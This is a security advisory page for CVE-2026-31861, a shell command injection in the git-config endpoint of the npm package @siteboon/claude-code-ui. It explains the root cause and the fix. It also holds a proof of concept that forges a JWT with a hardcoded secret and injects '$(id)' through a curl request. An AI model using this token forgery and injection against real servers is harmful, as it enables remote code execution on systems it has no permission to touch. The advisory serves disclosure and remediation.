Loading...
Skip to main content

CVE-2026-31861 — Vulnerability in @siteboon/claude-code-ui — CVE...

HIGH

@siteboon/claude-code-ui is Vulnerable to Shell Command Injection in Git Routes

Published March 10, 2026Updated March 13, 2026Source: osv

Summary

# Shell Command Injection in User Git Config Endpoint | Field | Value | |-------|-------| | **Severity** | High | | **CVSS 3.1** | 8.8 (High) — when chained with VULN-01 | | **CWE** | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') | | **Attack Vector** | Network | | **Authentication** | JWT required (bypassable via VULN-01) | | **Affected Files** | `server/routes/user.js` (lines 58-59) | ## Description The `/api/user/git-config` endpoint constructs shell commands by interpolating user-supplied `gitName` and `gitEmail` values into command strings passed to `child_process.exec()`. The input is placed within double quotes and only `"` is escaped, but backticks (`` ` ``), `$()` command substitution, and `\` sequences are all interpreted within double-quoted strings in bash. This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint. ## Root Cause `server/routes/user.js` lines 58-59: ```javascript await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`); await execAsync(`git config --global user.email "${gitEmail.replace(/"/g, '\\"')}"`); ``` Only `"` is escaped. However, within double-quoted bash strings, the following are still interpreted: - `` `malicious_command` `` — backtick execution - `$(malicious_command)` — subshell execution ## Impact - **Remote Code Execution (RCE)** — arbitrary OS commands execute as the Node.js process user - The `git config --global` vector modifies the **server-wide** git configuration, affecting all git operations - When chained with VULN-01 (hardcoded JWT), this is fully **unauthenticated RCE** - Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data ## Proof of Concept ```bash # Step 1: Forge a JWT (see VULN-01) TOKEN=$(python3 -c "import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))") # Step 2: Inject via gitName using command substitution curl -X POST "http://REDACTED:5173/api/user/git-config" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"gitName":"$(id)","gitEmail":"attacker@example.com"}' ``` The server executes: ``` git config --global user.name "$(id)" ``` Bash evaluates `$(id)` before passing it to git, executing the `id` command and setting the username to the output. ## Remediation Replace `exec()` with `spawn()` (array arguments, no shell): ```javascript // BEFORE (vulnerable): await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`); // AFTER (safe): await spawnAsync('git', ['config', '--global', 'user.name', gitName]); await spawnAsync('git', ['config', '--global', 'user.email', gitEmail]); ```

Advisory Timeline

  • First published March 10, 2026 (215 days ago).
  • Last revised March 13, 2026 — 2 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update @siteboon/claude-code-ui to 1.24.0 or later
npm install @siteboon/claude-code-ui@1.24.0

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: npm (1).

PackageEcosystemAffectedFixed In
@siteboon/claude-code-ui
npm
All versions1.24.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Frequently Asked Questions

What is CVE-2026-31861?
@siteboon/claude-code-ui is Vulnerable to Shell Command Injection in Git Routes This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2026-31861?
CVE-2026-31861 affects @siteboon/claude-code-ui. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-31861 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-7fv4-fmmc-86g2

Related CVEs

  • CVE-2026-31862
    CRITICAL

    @siteboon/claude-code-ui is Vulnerable to Command Injection via Multiple Parameters

  • CVE-2026-31975
    HIGH

    @siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection

  • CVE-2026-107375
    HIGH

    JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort

  • CVE-2026-107384
    HIGH

    MariaDB Connector/Node.js: SQL injection through object keys in SET expansion (permitSetMultiParamEntries)

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies